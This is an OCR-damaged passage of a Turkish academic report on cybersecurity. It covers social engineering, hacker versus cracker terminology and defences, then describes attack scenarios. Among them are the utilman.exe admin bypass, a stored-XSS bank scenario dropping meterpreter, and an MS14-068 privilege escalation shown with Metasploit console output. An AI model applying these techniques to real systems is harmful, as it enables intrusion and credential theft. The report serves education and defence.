yazilim tabanli bir saldiriya gére tanimlamay1 ve engellemeyi zorlastirir.
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Sosyal mihendislik insanlari manipiile etme sanatidir, bu yiizden gizli
bilgilerden vazgecerler. Bu suclularin aradiklart bilgi tiirleri degisebilir, ancak bireyler
hedeflendiginde suglular genellikle parolalariizi veya banka bilgilerinizi vermeniz igin
sizi kandirmaya c¢alisir veya kotli amach yazilimlart gizlice yiiklemek icin
bilgisayarimiza erigir; sifreler ve banka bilgilerinin yani sira bilgisayariniz {izerinde

kontrol sahibi olmalarini saglar.

Suglular sosyal miihendislik taktikleri kullanir, ¢iinkii dogal egilimlerinizi
giivendiginizden  yararlanmak genellikle yazilimmizi  hacklemenin  yollarim
kesfetmekten daha kolaydir. Ornegin, birisinin size sifresini vermesini kandirmak c¢ok

daha kolaydir (sifre gercekten zayif olmadikga).

Siber saldirgan, bir kisinin e-posta sifresini hacklemeyi veya sosyal olarak
miihendisligi yapmayi basarirsa, o kisinin kisi listesine erisebilir ve ¢ogu kisi her yerde

bir sifre kullandigindan, muhtemelen o kisinin sosyal ag kisilerine de erisebilir.

Siber saldirgan, bu e-posta hesabini kontrol altina aldiktan sonra, tim kisilerin
kisilerine e-posta gonderir veya arkadaslarinin tiim sosyal sayfalarinda ve muhtemelen
arkadaslarinin arkadaglarinin sayfalarinda mesaj birakir. Boylelikle sosyal miihendislik
sayesinde kullanic1 zaaflarim1 kullanarak sisteme sizabilir ve kisisel bilgilere ya da

kurumsal bilgilere erisim saglayabilirler.

Hacker ve Cracker Nedir?

Ulkemizde aslinda birbirinden farkl1 olan bu iki terim i¢in bir kavram karmasasi
oldugu gozlenmektedir. Ulkemizde hackerlar gogunlukla cracker kimlikleri ile 6n plana
ciktiklar1 igin sistemlere izinsiz girerek zarar veren amaci giiden kotii kisiler olarak
kendilerinin taninmalarina neden olmuslardir. Halbuki bu iki teriminde ne anlama
geldigini detayli olarak inceledigimizde aslina bakacak olursak ikisinin de aslinda

birbirinden ¢ok farkli kavramlar oldugunu gorecegiz.

Biitiin igletim sistemlerinin yapisi ve ayrintilariyla ilgilenen kisilere hacker
denilmektedir. Hackerlar genellikle oldukga iyi programlama bilgisine sahip insanlardir.
Isletim sistemleri hakkinda ve programlama dilleri ile ilgili oldukea iist diizeyde bilgi ve
beceriye sahiptirler. Sizdiklari isletim sistemlerinde bulduklari agiklar1 ve bunlara neden

olan sebepleri tiim ayrintilariyla bilirler ve tiim bunlardan 6nemlisi hackerlar her zaman
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daha fazla birseyler 6grenmek i¢in durmaksizin kendilerini gelistirirler ve de
ogrendiklerini diger hackerlarla ve gruplariyla paylasirlar. Asla hi¢ bir zaman kasith

birilerine zarar verme kastiyla hareker etmezler.

Hackerlarla karistirilan crackerlar ise kotii niyetli olan kisilerdir ve sistemlere
sizdiklarinda veri hirsizhigr yaparlar ve girdikleri sistemede zarar verme egilimi
gosterirler. Yasal olmadigini bildikleri halde ¢ogu zaman bu onlar i¢in caydiricilik teskil
etmez hatta cazip hale bile getirebilir. Crackerlardan hedeflerine sizmay1 basarabilenleri
onemli verileri izinsiz silebilir veya sistemin isleyisini Kitleyebilirler, aslinda gittikleri
her yere sorunlari da beraberinde gotiirdiiklerini sdylemek daha dogru olacaktir.
Yaptiklar1 bu kotii niyetleri eylemler yiiziinden crackerlari tanimak oldukg¢a kolaydir.

Yaptiklari is ve islemlerde kanunsuz yollar1 takip ederler.

Tirk Dil Kurumu(2005) Internet sitesinin Yabancit Kelimelere Karsiliklar
boliimiinde, “Hacker” kelimesinin karsilig1 olarak: “Bilgisayar haberlesme teknolojileri
konusunda bilgi sahibi olan, bilgisayar programlama alaninda standardin iizerinde
beceriye sahip bulunan ve boylece ileri diizeyde yazilimlar gelistiren kisi anlaminda
kullanilan kelime” denmekte ve bu kelime i¢in de “kiric1” sdzciigii Onerilmektedir.
Yine, Tirk Dil Kurumu(2005)“nun bu kez Bilgisayar Terimleri Karsiliklart boliimiinde
ise, Hacker: “Cokertici, korsan” kelimeleriyle karsilanmaktadir. Cracker igin: “Bir
basgkasinin bilgisayarina girmek, ele gegirmek i¢in teknik ve kisisel becerilerini kullanan
kisi” denmektedir. T.D.K.“nin Yabanci Kelimelere Karsiliklar boliimiinde ise Cracker
kelimesi i¢in: Zevk icin bilgisayar sistemlerine zarar veren kisi anlaminda “c¢okertici”

sozii teklif edilmistir. (ERIS, 2009)

Siber Saldirilara Karsi Giivenlik Tedbirleri

Siber giivenlik, “siber ortamda, kurum, kurulus ve kullanicilarin varliklarim
korumak amaciyla kullanilan araglar, politikalar, gilivenlik kavramlari, gilivenlik
teminatlari, kilavuzlar, risk yonetimi yaklasimlari, faaliyetler, egitimler, en 1yi
uygulamalar ve teknolojiler biitiintidiir” seklinde tarif edilebilir. (Yilmaz & Sagiroglu,

2013)

Cagimizda artik isletmelere yonelik siber saldirilar kaginilmaz bir hal almis gibi

goriiniiyor. Ancak bilisim uzmanlari, sirketlerini ve isletmelerini siber saldirilara karsi
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korumak icin agagidaki belirtilen adimlar1 uygulayarak, sistemlerine yapilacak olan bu

saldirillarin gogunun biiyiik 6l¢iide onleyebilmek miimkiin hale gelebilir.

o Sirketlere siber saldirilar1 6nlemek i¢in ilk ve en 6nemli ¢6ziim, parola korumali ve
Iki yonlii kimlik dogrulama ile desteklenen giivenli ve sofistike bir donanima sahip
olmaktir . Ayrica, fiziksel depolama disklerinizi korumanin etkinligini géz ardi
etmemekte iyi olacaktir. Ciinkii ihmal edilirse, herkese firmanizin hassas verilerini
kopyalama firsati verir.

e Sirketinizin donanimin1 koruyun. Veri ihlallerinin ¢ogunun c¢alinan ekipman
bilgisayar korsanlarinin ellerine ulastiginda gerceklestigi belirtiliyor. Ornegin, Ar-
Ge'de calisan calisanlarinizdan biri diziistii bilgisayarin1 kaybederse, hassas veriler
rakiplerin veya kotii niyetleri olan kisilerin eline ulasirsa, calistign sirket ciddi
sikintilara diisebilir. Bu nedenle, herhangi bir istenmeyen olay meydana gelmeden
once bazi fiziksel giivenlik stratejilerini 6zetlemek daha iyidir. Birden ¢ok giivenlik
katmani tarafindan korunan verileri bulutta depolamak ve is ortaminiz i¢in ¢alisan
calisanlar arasinda sorumlu BYOD giivenlik politikalar1 uygulamak gibi.

o Sirketinizin verilerini sifreleyin. Verilerin yanlis ellere gegmesi durumunda verilerin
sifrelenmesi sirketinize istiinlik saglar. Ve bu, bir hacker onu ele gegirse bile ise
yaramaz halde oldugu i¢in higbir anlam ifade etmeyecektir.

e Verilerinizi mutlaka giivenilir ortamlarda yedekleyin. Bazen ne kadar zor denerseniz
deneyin, bilgisayar korsanlar1 aginiza girer ve verilerinizi fidye yazilimi ile
sifrelemeye ¢aligirlar. Ancak tesebbiisiiniiziin en giincel yedek kopyasi varsa, sizin
veya sirketinizin bilgisayar korsanlarinin taleplerini karsilamaniza gerek
kalmayacaktir. Ancak unutmayin, yedekleme etkili bir sekilde yapilmali ve bir
felaket meydana gelir gelmez bu da hizlica geri alinabilir olmalidir.

e Bireysel ve ticari siber giivenlik sigortasi yaptirmak son derece akillica bir adim
olacaktir. Siber suglular bugiinlerde ¢ok sofistike olduklarindan, en gelismis siber
savunma sistemlerine girmenin yollarini ariyorlar. Bu nedenle, giivenlik konusunda
en bilingli igletmeler bile siber saldirilara karsi savunmasiz kalir. Yaptirdiginiz
sigorta sayesinde bir saldirt meydana geldigi durumlarda sigortalarin ¢ogu sadece
veri hirsizligindan kaynaklanan finansal kaybi1 kapsamakla kalmaz, ayni zamanda

veri kurtarma uzmanlarina 6deme yapmay1 ve yeni donanim satin almayi da igerir.
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e Calisanlar siber ortamdaki en son gelismeler hakkinda egitin, bdylece siber riskleri
kolaylikla azaltmaya yardimci olabilirler. Bu, calisma bilgilerine erismek igin
giivenli olmayan aglar1 kullanma ve giivenli olmayan internet sitelerinden kaginma
ve hassas verileri sosyal medyada paylasma ile ilgili riskler hakkinda onlar1 egitmeyi
igerir. Calisanlariniz1 ~ sifre paylagimindan kisitlamak da siber saldirilardan
korunmaniza yardime1 olacaktir.

e Kotli amagh yazilimdan koruma ¢oziimlerinin kullanilmasi ve kurumsal aglarin
verimli giivenlik duvarlariyla korunmasi, kurulusunuzun BT'sini saldirilara karsi

korumaya yardimci olacaktir.
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BOLUM 3. GERCEK VE SANAL SiBER SALDIRI SENARYOLARI
VE OLASI ETKILERI

Artik siber saldirilar bilisim teknolojilerini (IT) ilgilendiren bir konu olmaktan
cikip cergevesi olduk¢a genislemistir. Ornegin iilkelerin saglik, enerji, egitim, askeri
alanlar1, bankacilik sistemi gibi krittik bir ¢ok alan hedef haline gelmistir. Diizenlenen
bu siber saldirilar sayesinde bakalara sizabilmekte, SCADA tabanli enerji sistemlerini
devre dis1 birakabilmekte, iletisim kanallarina sizarak iilkeler arasi casusluk
yapilabilmekte ya da kisisel bilgiler ele gegirilebilmekte, kisisel e-posta adres defterleri
ele gecirilerek istenilen amac¢ dogrultusunda kullanilabilmekte, evdeki akill
televizyonlarin kamerasini ele gegirerek izinsiz kayit alinabilmekte, ev agina sizarak
kombi veya klima sistemi izinsiz ¢alistirilabilmekte, kisisel bilgi ve belgeler yasa dis1 bu
yolla ¢ogaltilabilmektedir. Bu ve bunun gibi bir siirii islemi yapabilen siber saldirganlar

artik teknolojik hayatimizin ayrilmaz bir parcasi haline gelmistir.

Asagida farkli farkli sanal veya gercek saldirit senaryolart uygulanmis olup,

olusabilecek senaryolardan dogan sonuglar detaylariyla incelenmistir.
e Senaryo 1: Fiziksel Uygulama Senaryosu

Fiziksel anlamda saldir1 yapilacak sisteme miidahale edebilecek kadar yakin
olundugu durumlarda sistemin sifresini ele gecirmek son derece basit bir hal almistir.
Siber saldirganin sifresini 0grenmek istedigi bilgisayarin basimna oturdugunda o0
bilgisayarin yonetici sifresini 6grenmesi ya da kendine yonetici olarak bir kullanict
hesabr agmasi artik ¢ok zor degil. Sekil 3'te "utilman.exe" programi sayesinde siber

saldirgan kendisine sistemde yeni bir kullanici ad1 agip buna yonetici yetkisi verebilir.
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Sekil 3. Fiziksel Uygulama Senaryosu

usbul dl userl2.di
% | W)
N 4 N 4
ierAccountControl usercpl.dil
Settings. exe
< 5_' S 4
userinit exe uskrs
(4 . 4
dil dil \ Utilman exe

Kaynak : (YIGIT & AKYILDIZ, 2014)

Bu islemi yapmak icin Windows isletim sisteminin kullanici parolasi sordugu
giris ekraninda siber saldirgan Sekil 3'te sol alt kdsede gosterilen simgenin igerisine
"cmd.exe" dosyasi kopyalanir. Bu sayede ayni simge komut sistemi olarak "cmd.exe"
ile tekrar acilip, "utilman.exe" programiyla terminal olarak calistirilir. "utilman.exe"
programi sayesinde terminal olarak yonetilen bilgisayarda yonetici kullanict adiyla yeni

bir hesap olusturulabilir.

Daha sonra tanimlanan kullanici ile sisteme admin yetkisi ile giris yapilmistir.
Bilgisayar Backtrack Linux isletim sistemi ile agilarak, cmd.exe ve utilman.exe dosyasi

tizerine kopyalanmistir. (Yigit & Akyildiz, 2014)

Fiziksel miidahale sayesinde siber saldirgan sisteme sizarak cesitli programlar ve
komut sisteminde yaptiklari sayesinde kendisine ait yonetici yetkili bir kullanict hesabi
olusturmas1 ¢ok kisa bir zamanda miimkiin olmustur. Bu asamadan sonra siber
saldirganin yoOnetici yetkisini arkasina alarak yapabileceklerinin smir1 yoktur. Bir
kullanicinin  yonetici hakkiyla bilgisayarda yapabilecekleri biitliin islemleri siber

saldirganda yonetici oldugu i¢in yapabilir.

Yapilan bu siber saldir1 sonucunda ise yonetici kullanicihaklarini kullanan siber
saldirgan bilgisayardaki tiim verileri silebilir, degistirebilir, yine bilgisayarda bulunan
kisisel veya kurumsal kayithi bulunan tim sifrelere erisip kullanabilir, bankacilik
sifresini hatirlatma olarak bir yere yazdiysaniz sizin kredi kartlarmizla aligveris
yapabilir, banka hesabinizdan havale ve EFT gibi islemle sizin banka hesabinizi

bosaltabilme imkanina kavusabilir. Sizin adimiza bagli oldugu ag iizerinden baska
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arkadaslariniz ya da sirket ¢alisanlariyla onlarinda kisisel bilgilerine sosyal miithendislik

kullanarak sanki sizle konusuyormus hissi vererek dolandiricilik yapabilir.

e Senaryo 2: Bankanin Ziyaret¢i Defterindeki XSS Acig1 Sayesinde Zararli

Yazilim Bulastirma Senaryosu

Gergek bir bankanin ziyaret¢i defterindeki agig1 kullanarak, ziyaret¢i defterine
yaz1 yazan kullanicilarin her birine zararli yazilim bulastirmak kaydiyla yapilan siber
saldir1 ve sonuglarini beraber degerlendirecegiz.

Siber saldirgan bankanin www.bgbank.com domain adresine girerek,
kullanicilarin doldurdugu ziyaret¢i defterinde "stored XSS" (saklanan XSS) dosya
bilgilerinde agik kap1 zaafiyeti bulmustur.

Sekil 4. Ger¢ek Banka Siber Saldir1 Senaryosu

3Anm
Ny Casus yanle
| HTACKAC R 1S haglant
! Py

ATagkar Frawal ( IFS | WAF

Z.A0m
Kurean heabank com
Fyamig daftarion grer
Jrmez beorwsar cupod LAN Netwok
%50Me casus yaolm

yusdaci

OrAZ Network |

<
¥

1. Adm
XSS o expioit dndd steye
yurleging,

Wat: Sanver Databass Saree Damain Controlar
www hashank.com ir

Kaynak : (UCAR, 2015)

XSS 2014 yilinda da en ¢ok kesfedilen ve risk seviyesi yiiksek web tabanli
giivenlik zaafiyetidir. (Ugar, 2015)

Ziyaretci defterinde bulunan "stored XSS" zaafiyetini kullanan siber saldirgan
kurbanlar1 olan banka miisterilerine zararli yazilimlar1 bu a¢ig1 kullanarak bulastirmaya

caligir.
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Sekil 5. Ziyaretci Defteri A¢ildiginda Otomatik Yiiklenen Zararli Yazilim

| IauDa.bgebank.comizlyantcide’ . esox

(B2)BGA BANK Zajaretsl Dftod
R Ellasart Dodruymde Dpldumesss. Kurban, ziyaretci defterine
1P Aderis: 88342285392 girdiginde, ayni zamanda
zararl icerik otomotik olarak
adinz:  br yuklenecek. Kagari yok !
Soysimz o
Parametm Cefi>
Kl Kuleric u Emal Adres! wayop i e
Curmigi Koty 85
01 jisian Alisch 0% Mosainz: Dusun o gunansc bobus g
alharwactgod iy &0
XE3 Amack 0

Soszon Mg, Alack 13

Insacurs Dinect 0%y, A L m

It un Fhaws 0

Kaynak : (UCAR, 2015)

Banka miisterisi olan siber saldir1 magduru fark etmeden sistemine ziyaretgi
defteri acilir agilmaz otomatik olarak Sekil 6'daki "meterpreter" casus yazilimi

yiiklenmis olur.

SEKIL 6. SISTEME ZARARLI YAZILIM SIZMASI

psf oxploizimsl4_064_ole_code_execution) > scs5ions

Active cessions

I4 Type Infornation Connecticn

1 neterareter xB6/0in32 0 DGAPINTEST\randan @ NGA-PC IR4.236.1.47:4444 = A5.105.101.2573:28358 (6.6.4.64)

KAYNAK : (UCAR, 2015)

Bu zararli yazilimin ytliklenmesi ile MS14-068 gibi hak yiikseltme zaafiyetlerini
kullanarak sisteme si1zan zararli yazilim istenmeyen kullanicinin domainde daha ytiksek
yetkilere veya yonetici yetkilerine sahip olmak kayd ile sizilan sistemde daha etkin rol
alip yetki genisligiyle istedigi hamleleri yapmay1 daha kolay hale getirmeye ¢alisir.
Domain haklarin1 elde ettiginde ise windows isletim sistemine sahip ortamdaki tiim
sistemlere en yetkili kullanici olarak erisim kurar. Sekil 7'de siber saldirganin
sistemdeki kullanic1 adin1 6grenip daha genis yonetici yetkilerine sahip olma asamasi

verilmistir.

34



Sekil 7. Siber Saldirganin Yonetici Kullanici Hakki Elde Etme Adimlart

cﬁ .e-;;;i;x;E;;;a_aba_olc_:ode_o-ccutinnl > sessions -3 3
[#] Starting interaction with 3...

meterpreter > run post/windows/gather/enum_logged_on_users

[+] Running against session 3
s Candan, standart
Current Logged Users domain user.

SID User

$-1-5-21-3187397182-2958514323-2990569427-1162 BGAPENTEST\candan

meterpreter > run post/windows/gather/enum_domain

OC bilgileri [+] FOUND Domain: bga

[+] FOUND Domain Controller: WIN-HFOIDKTBIEQ (IP: 6.6.6.39)

asf auxiliary(msld_068_kerberos_checksem) > show options

Module options (auxiliary/admin/kerberos/ms1d4_068_kerberos_checksun):

Name Current Setting Required Description
DOMAIN BGA. LAD yes The Domain (wpper case) Ex: DEMO.LOCAL
PASSWORD  Passwird yes The Domain User password
RHOST 6.6.6.39 yes The target address
RPORT [1] yes The target port
Tiseout 1 yes The TCP timeout to establish connection and
read data
USER candan yes The Domain User
USER_SID  $-1-5-21-3187397182-2058514323-2000569427-1162 yes The Domain User SID, Ex: $~1-5-21-1755079683
~3641577184-1406455062- 1000
psf suxilinry(msld_068_kerberos_checksus) > exploit
[+] valideting options...
[+] Using domain BGA.LAB..
+] 6 Sending AS-REQ...
[+] 6. Parsing AS-REP, ,
[+] 6. Sending TGS-REQ...
‘] 6. Valid TGS-Response, extracting credentials..
6. NIT Credential Cache saved on /root/.msf4/1001/20150100004448 _default_6.6.6.39_windows.kerberos 9
‘.

Kaynak : (UCAR, 2015)

TGT saldirist ile olusturdugu yeni bilet (ticket) kisitli kullanici haklarina sahip
kullanicty1 Domain Yoneticisi yetkilerine sahip bir hale getirmistir. Bu sayede sinirsiz
kullanic1 yetkileriyle bulastigi banka miisterisinin kayitli banka bilgilerine erisim,
bilgisayarindaki dosyalara tam erisim hakki, kayith sifrelere erisim hakki, internet site
kullanim trafik bilerine erisim saglama, keylogger tarzi programlarla kullanicinin her
yazdigim takip edebilmek hakkina sahip olan siber saldirganin kullaniciya verecegim
maddi ve manevi kayiplar sadece siber saldirganin insafina birakilmis olur. Malesef ki

kotii niyetli saldirganinda sisteme ve kurbana insafli davranarak az zarar vermesini
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beklemek pekte akillica bir adim olmaz. Bu yiizden mutlaka sistemin giivenlik
Onlemleri aktif ve gilincel tutulmalidir. Gerekirse kurumsal firmalar icin Ozellikle

profesyonel ¢oziimler ve giivenlik yardimlari almalar1 elzem 6nem tasimaktadir.

Bu saldir1 senaryo amaci tagidigindan sistem yoneticisindeki olay kayitlarina
bakildiginda Sekil 8'de goriildiigli gibi arkamizda bazi olay kayitlar1 (log) biraktigimizi

gorebilirsiniz.

Sekil 8. Windows Giivenlik Kayitlar1 - Olay Ozellikleri

B Event Progerties - [vent 4672, Hicrosol x|
Gerenst | Datss |
Telacoupbratiege -
fesrdncebralege
SaTadewnenhigPimlege
SeDebagPriviege
SeytevEramamencsFmi ege
St sadlmeedrslege
Selmpe nonacePratisge
SeEuaheDebepiondiidege > i]
Loy Narme Secue ty ‘J
) woe Macrowtt Windoss avvunty  Logged VNS T2 a7 am -
Foeat ix LT Iwk Categrey Spevnllogen
| ot moorshne L At Siwrpan
Laee W Computer WL HCINETRF O hge.
OpCode v
More Ifermetion Bnat Log Onkog ey

Kaynak : (UCAR, 2015)

Bu yontemle yapilan saldirilardan korunup maddi ve manevi anlamda zarar
gormek istemiyorsak eger, tiim loglarin anlamlandirilmast ve  birbiriyle
iliskilendirilmesi tehlikenin 6nceden farkedilebilmesi adina iyi olacaktir. Bununla
beraber sistemde olusan yiiksek yetki taleplerini incelemek yerinde olacaktir. Ayrica
Siber Olaylara Miidahale Ekibi (SOME) kurmak kaydiyla siber olaylara aninda
miidahale edip anlamlandiricak ve ¢ozlime kavusturacak gilivenlik uzmanlart olasi

maddi ve manevi kayiplarin oniine gegmenizde oldukca fayda saglayacaktir.

e Senaryo 3: Yerel Agda (LAN) Yapilan Ortadaki Adam Saldirn (MITM)

Senaryosu
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Bir¢ok kurulusta ya da kamu kurumunda disaridan yapilabilecek siber saldirilara
kars1 olduk¢a iyi giivenlik onlemleri sirketler tarafindan zaten alinmaktadir. Alinan
yiiksek gilivenlik Onlemleri sayesinde disaridan sizmalarin ciddi anlamda Oniine
gecilmektedir. Fakat sirketlerce géz ardi edilen bir durum vardir. Bu durum ise kendi
kullandiklar1 yerel agda yani giivenli sandiklar1 i¢ aglarinda aslinda tehlike g6z ardi
edilemeyecek kadar biiyiliktiir. Bunun sebebi ise kullanicilarin ya da sirketin giivenlik
uzmanlarinin kendi yerel aginda kendilerini c¢ok giivende hissetmeleri ve rahat

davranmalar1 gosterilebilir.

Sekil 9. Ortadaki Adam Saldir1 Mantig1

.
Web Application

©

Man in the Middle

Kaynak : (UFER MEDIA, 2019)

Sekil 9'da belirtildigi gibi yerel aginizda diizenlenen ortadaki adam saldirisi, siz
kendi agimizda dolasiyor sanirken bulasan virlis sayesinde sizi baska bir koprii
lizerinden internette ve yerel agimizda gezinmeniz i¢in ydnlendirir. Siz hi¢ bir sey
anlamadan viriis internete ¢ikmak ya da yerel agda iletisim kurmak istediginizde siirekli
olarak ag gecidini kendiymis gibi goOstermeye calisir. Bir siire igerisinde sistemi
kandiran bu virlis sizin girdiginiz giivenli ag1 devre dis1 birakarak kendi ag gecidi
lizerine biitiin ag trafigini yonlendirir. Ag trafiginin tamamini kendi ag gegiti lizerinden

kontrol eden viriis, bu sayede yaptiginiz her islemi filtreleyebilir.

Bu islemin sonucunda kullanicilarin biitiin girdigi internet siteleri, kurum igi
veya dis1 yazismalari, girdigi bankacilik ve diger sifre bilgileri gibi bilgisayar ekraninda
her attig1 adimm ve yazdigi yazilarin kaydi tutulur ve siber saldirgan tarafindan

kullaniciya hissettirilmeden filtrelenir. Bu sayede kurum ici veya dis1 yazismalardan
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elde edilen bilgilerle sanayi ve teknoloji casuslugu, bankacilik dolandiriciligl, gizli
belge ve bilgilerin el degistirmesi, olusabilecek kurumsal maddi kayiplar ve bunlarin
yaninda goriinmeyen kisimda yer alan sirketin itibar kayb1 gibi manevi kayba ugramasi

icten bile degildir.

Sekil 10. Lan'da Ortadaki Adam Saldir1 Senaryosu

Kaynak : (YIGIT & AKYILDIZ, 2014)

Sekil 10'da kurum igerisinde bulunan yerel agda gergeklesen bir ortadaki adam

saldiris1 gosterilmistir.

Ortadaki adam saldirisina ugrayan kullanicinin trafigi HTTP ile akmakta olup

sifreleri Sekil 10°daki gibi alinmustir. (Yigit & Akyildiz, 2014)
e Senaryo 4: ABD Enerji Sistemlerine Yapilan Siber Saldir1 Senaryosu

Amerika Birlesik Devletlerinde (ABD) enerji sistemlerine yapilacak olan siber
saldir1 ile olusacak olasi1 sonuglar iilkenin ciddi anlamda etkilenmesine neden olacak

derin izler agabilecek biiytikliiktedir.

Cambridge Universitesi Risk Analizi Merkezi ile Lloyd'un ortak ¢alismasina
gore elektrik sebekeleri, tilkede yasanan siber saldirilarin hedefleri arasinda ytlizde 32 ile
ilk sirada yer aliyor. Uretim tesisleri ise ikinci sirada bulunuyor. Rapordaki baz senaryo,
siber saldir1 sonrasinda 15 eyalet ve Washington’da yasanabilecek uzun siireli bir
elektrik kesintisinin olas1t sonuglarimi igeriyor. Yaklagik 93 milyonluk bir niifusun

etkilenebilecegi olasi kesinti senaryosu icin gercek verilerle baz1 6ngoriiler bir arada
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kullanilmis. Bu senaryoya gore, elektrik sebekesine yonelik olasi bir siber saldir1 ulagim
sistemlerinin ¢okmesine, ticaret ve iiretimin durmasina, su kesintilerinin yasanmasina ve

hatta ciddi 6liimlere yol acabilecek. (enerjigunlugu.net, 2015)

Senaryoya gore, kotii amagli bir yazilim ABD'nin Kuzey eyaletlerindeki elektrik
santrallerinin kontrol odalarin1 ele gegiriyor. Yaklasik 1.5-2 yil once baglayan saldirt
hazirliklart sonrasi, senaryonun kapsama alanindaki 50'ye yakin iiretim tesisinin
yaklasik yiizde 10’unun siber giivenlik duvarlar1 asiliyor. Hedeflenen bir tarihte, zaman
zaman yanginlara da yol agabilecek Olclide asir1 yiiklenmeler yasaniyor ve bunun
sonucunda elektrik iiretim tesisleri devreden c¢ikiyor. Tesislerin devreden c¢ikmasi,
ABD’nin Kuzey eyaletlerindeki elektrik sebekesini dengesizlige diisiiriiyor. Bu da
ilkede kalici elektrik kesintilerinin ortaya ¢ikmasina yol agiyor. Kesintilerin bir bolimii
ilk 24 saat icinde giderilebiliyor ancak bazi kesimlerde bu kesintiler haftalarca devam

ediyor. (enerjigunlugu.net, 2015)

Baz senaryoda 50 iiretim tesisi devre dis1 kalirken, sebekenin yiizde 90’lik kismi1
ancak iki haftalik bir siirenin sonunda yeniden ayaga kaldirilabiliyor. Senaryoya gore,
bu siirecte sehirler yaklagik dort giin elektriksiz kaliyor. 100 tesisin iiretim dis1 kaldigi
u¢ senaryoda ise sehirlerde ortalama 14 giin boyunca elektrikler kesiliyor. Ug senaryoya
gore sistemin yeniden ayaga kaldirilmasi i¢in gereken siire ise tam 4 hafta, yani yaklasik

bir ay... (enerjigunlugu.net, 2015)

Geligstirilen bu senaryolara gore, siber saldir1 sonucu ABD'de olusacak kapsamli

elektrik kesintinin ABD ekonomisine zararlar1 géz oniine serilmektedir.

Baz senaryoda 250 milyar dolara yaklasan zarar, u¢ senaryoda ise bir trilyon

dolarin lizerine ¢ikiyor. (enerjigunlugu.net, 2015)

Cambridge Universitesi Risk Arastirmalart Merkezi ile Lloyd'un ortak
calismasina gore, siber saldir1 sonucu olusacak elektrik kesintilerinin ekonomik
maliyetleri sektorel bazda da analiz ediliyor. Buna gore en biiyiik zarari, toptan ve
perakende ticaret sektorleri goriiyor. Olusacak zararlar listesindeki en biyiik ikinci
kalemi ise kesintiler sonucu kamu hizmetlerinde yasanacak aksamalarin maliyeti
olusturuyor. Sanayi-liretim sektorii, konaklama ve gida ile konutlar da siber saldirinin

en biiyiik zarara yol agacagi diger alanlar olarak siralaniyor. (enerjigunlugu.net, 2015)
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Yapilan ¢alismaya gore, elektrik sebekelerine yonelik olasi bir siber saldirinin
yol acacagi ekonomik kayiplarin sigorta sektoriine ¢ikaracagi fatura da oldukga agir.
Buna gore sigorta sektorii baz senaryoda 21 milyar dolarin iizerinde bir teminat
ddemesiyle kars1 karsiya kalaacak. Ug senaryoda ise bu rakam 70 milyar dolarin iizerine

cikiyor. (enerjigunlugu.net, 2015)

Diinya genelinde yapilan bu siber saldirilarin biiyiik bir ¢ogunlugu sistemin eski
calisanlar1 ve aktif calisan personellerinin yardimi ile yapildig goriilmektedir. Bu
sekilde sistemi iyi taniyan kisiler kendilerine birakilan agik kapilari daha iyi bildikleri
icin bunlar1 kullanmaya ¢alisirlar. Sonug ne olursa olsun siber saldirilarda mutlaka bir iz
kaldig1 i¢in yasalar 6niinde mutlaka cezai islem neyse er ya da ge¢ yapilmaktadir. Fakat
siber saldirinin yapildigi anda veya sonrasinda kuruma, kisilere veya iilkelere verdikleri

zararlar oldukca yliksek boyutlara hatta kiiresel boyutlara erisebilmektedir.

Bu tarz siber saldirilarin maddi boyutunun yukarida belirtilen boyutlara
ulagsmamasi i¢in en temel kullanicinin bile dikkatli davranmasi, giivenlik yazilimlaria
sahip olmasi ve bunlar1 giincel tutmasi, devre dig1 birakmamasi gerekmektedir. Malesef
en basit kullanici hatas1 bile sistemde ciddi agik kapilar birakabilir, bu kapilar1 kullanan
saldirganlarin hayal edebileceklerinden bile daha biiylik maddi ve manevi kayiplara

neden olunabilmektedir.

Baz senaryodaki 21 milyar dolarlik zarar bile diinyanin gelismis tlkeleri
arasinda bulunan Amerika Birlesik Devletlerini bile sarsacak bir rakam olarak telaffuz
edilebilir. Her zaman bdyle senaryolarda en koétiisiine bakilmasi gerektigini diisiinecek
olursas u¢ senaryoda olusacak 70 milyar dolar zarar iilkeyi derinden sarsmaya yeter de

artar bile...

Bu sebepledir ki en temel kullanicidan en yetkili kullaniciya kadar her bir
kullanicinin  sistemde glivenlik aciklarina olanak verecek kaynagi belli olmayan
uygulamalan yliklemekten kaginmali, giivenlik 6nlem ve adimlarin1 6nemsememezlik
etmemelidir. Hatta bu saldirinin maddi izlerinden ¢ok evinde hasta yataginda elektrikli
cihaza bagl yatan kisinin dort giin yada bir ay siirecek elektrik kesintisine hazirliksiz
yakalanabilecegi ve bunlarin sonucunda 6liimle burun buruna gelecek sonug yiiziinden

vicdani ac1 boyutunu yasamamak adina daha dikkatli olmalidirlar.
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Siber saldirilar1 yasandiktan sonra engellemek yerine daha yasanmadan
engelleyebilecek glivenlik 6nlemleri ve uzmanlariyla kurumun ya da kuruluslarin 6nlem
almasi ve politikalarini ona gore diizenlemeleri etkili ¢dziime ulasmak konusunda fayda

saglayacaktir.

Yapilan saldir1 senaryosunun en baz senaryoda bile genel ABD ekonomisine
verdigi zarar 250 milyar dolar, ug senaryoda ise 1 trilyon dolarin iizerine ¢ikabilme riski
bile bazi riskler yasandiktan sonra degil de yagsanmadan onlem alinmasini gézler 6niine

sermektedir.

Senaryo 5: Sunucu Tarafinda Yapilan Saldir1 Senaryosu

Sekil 11. Linux Sunucuya Sizma Senaryosu

Kaynak : (YIGIT & AKYILDIZ, 2014)

Sunucular iizerinde calisan servislerde, fuzzing gibi sirali veri gondererek
sistemin kendi yapisindan kaynakli hatalar1 bulabilen test yontemleri vu buna benzer
yontemler kullanilarak bulunan ve sizma kodlar1 yazilan sifiriner giin agikliklar ya da
bilinen diger agik noktalar bulunabilmektedir. Sunucularin siirekli olarak gilincel
tutuluyor olmasi bile sifirinct giin agikliklarini engelleyemese de bilinen agikliklarin

kapatilmasi i¢in hayati 6nem tagimaktadir.
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Sekil 11°’de ise vsftpd servisi kullanan Linux igletimi sistemi buffer overflow

acikligindan faydalanilarak ele gegirilmesi gosterilmistir. (Yigit & Akyildiz, 2014)
e Senaryo 6: ilk Devlet Olgekli Modern Siber Saldir1 - 2007 Estonya

Ulkeler siber diinyaya adim attik¢a siber saldirganlarminda dikkatini cekmeyi
basardilar. Yapilan her yeni hizmet halka kolaylik saglasa da baslarda iilkelerin pekte
gormedigi ya da ciddiye almadigr siber giivenlik kavrami konusunda énemli adimlar

atilmasi geregini ortaya koymustur.

Diinyada yasanan soguk ve sicak savas donemlerinin aksine artik yeni bir
kavramda {ilke giindemlerine oturdu. Artik siber saldir1 ataklar1 da ciddi anlamda

iilkeleri tehdit etmeye basladi.

